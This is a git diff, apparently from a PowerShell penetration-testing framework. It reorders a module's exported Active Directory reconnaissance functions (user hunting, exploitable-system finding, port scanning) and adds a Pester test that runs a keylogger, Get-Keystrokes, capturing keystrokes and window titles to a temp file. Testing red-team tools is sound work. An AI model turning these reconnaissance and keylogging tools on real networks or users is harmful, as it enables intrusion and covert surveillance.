+ 'Add-NetUser',
+ 'Add-ObjectAcl',
+ 'Convert-NT4toCanonical',
'Convert-NameToSid',
'Convert-SidToName',
- 'Convert-NT4toCanonical',
- 'Get-Proxy',
- 'Get-PathAcl',
- 'Get-NetDomain',
- 'Get-NetForest',
- 'Get-NetForestDomain',
- 'Get-NetForestCatalog',
- 'Get-NetDomainController',
- 'Get-NetUser',
- 'Add-NetUser',
- 'Get-UserProperty',
+ 'Copy-ClonedFile',
+ 'Find-ComputerField',
+ 'Find-ForeignGroup',
+ 'Find-ForeignUser',
+ 'Find-GPOComputerAdmin',
+ 'Find-GPOLocation',
+ 'Find-InterestingFile',
+ 'Find-LocalAdminAccess',
+ 'Find-ManagedSecurityGroups',
'Find-UserField',
- 'Get-UserEvent',
- 'Get-ObjectAcl',
- 'Add-ObjectAcl',
- 'Invoke-ACLScanner',
- 'Get-NetComputer',
'Get-ADObject',
- 'Set-ADObject',
+ 'Get-CachedRDPConnection',
+ 'Get-ComputerDetails',
'Get-ComputerProperty',
- 'Find-ComputerField',
- 'Get-NetOU',
- 'Get-NetSite',
- 'Get-NetSubnet',
- 'Get-NetGroup',
- 'Get-NetGroupMember',
- 'Get-NetFileServer',
'Get-DFSshare',
+ 'Get-DomainPolicy',
+ 'Get-ExploitableSystem',
+ 'Get-HttpStatus',
+ 'Get-LastLoggedOn',
+ 'Get-NetComputer',
+ 'Get-NetDomain',
+ 'Get-NetDomainController',
+ 'Get-NetDomainTrust',
+ 'Get-NetFileServer',
+ 'Get-NetForest',
+ 'Get-NetForestCatalog',
+ 'Get-NetForestDomain',
+ 'Get-NetForestTrust',
'Get-NetGPO',
'Get-NetGPOGroup',
- 'Find-GPOLocation',
- 'Find-GPOComputerAdmin',
- 'Get-DomainPolicy',
+ 'Get-NetGroup',
+ 'Get-NetGroupMember',
'Get-NetLocalGroup',
- 'Get-NetShare',
'Get-NetLoggedon',
- 'Get-NetSession',
+ 'Get-NetOU',
+ 'Get-NetProcess',
'Get-NetRDPSession',
+ 'Get-NetSession',
+ 'Get-NetShare',
+ 'Get-NetSite',
+ 'Get-NetSubnet',
+ 'Get-NetUser',
+ 'Get-ObjectAcl',
+ 'Get-PathAcl',
+ 'Get-Proxy',
+ 'Get-UserEvent',
+ 'Get-UserProperty',
+ 'Invoke-ACLScanner',
'Invoke-CheckLocalAdminAccess',
- 'Get-LastLoggedOn',
- 'Get-CachedRDPConnection',
- 'Get-NetProcess',
- 'Find-InterestingFile',
- 'Invoke-UserHunter',
- 'Invoke-ProcessHunter',
+ 'Invoke-EnumerateLocalAdmin',
'Invoke-EventHunter',
- 'Invoke-ShareFinder',
'Invoke-FileFinder',
- 'Find-LocalAdminAccess',
- 'Get-ExploitableSystem',
- 'Invoke-EnumerateLocalAdmin',
- 'Get-NetDomainTrust',
- 'Get-NetForestTrust',
- 'Find-ForeignUser',
- 'Find-ForeignGroup',
- 'Invoke-MapDomainTrust'
+ 'Invoke-MapDomainTrust',
+ 'Invoke-Portscan',
+ 'Invoke-ProcessHunter',
+ 'Invoke-ReverseDnsLookup',
+ 'Invoke-ShareFinder',
+ 'Invoke-UserHunter',
+ 'Set-ADObject',
+ 'Set-MacAttribute'
)
# List of all files packaged with this module
diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 new file mode 100644 index 0000000..e4f60d5 --- /dev/null +++ b/Tests/Exfiltration.tests.ps1 @@ -0,0 +1,54 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1" + +Remove-Module [E]xfiltration +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Get-Keystrokes' { + + if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" } + $WindowTitle = (Get-Process -Id $PID).MainWindowTitle + + $Shell = New-Object -ComObject wscript.shell + $Shell.AppActivate($WindowTitle) + + $KeyLogger = Get-Keystrokes -PassThru + Start-Sleep -Seconds 1 + + $Shell.SendKeys("Pester`b`b`b`b`b`b") + $KeyLogger.Dispose() + + It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } + + $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv + + It 'Should log keystrokes' { + $FileLength = (Get-Item "$($env:TEMP)\key.log").Length + $FileLength | Should BeGreaterThan 14 + } + + It 'Should get foreground window title' { + $KeyObjects[0].WindowTitle | Should Be $WindowTitle + } + + It 'Should log time of key press' { + $KeyTime = [DateTime]::Parse($KeyObjects[0].Time) + $KeyTime.GetType().Name | Should Be 'DateTime' + } + + It 'Should stop logging after timeout' { + + $Timeout = 0.05 + $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru + + Start-Sleep -Seconds 4 + + $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available' + $KeyLogger.Dispose() + } + + Remove-Item -Force "$($env:TEMP)\key.log" +} |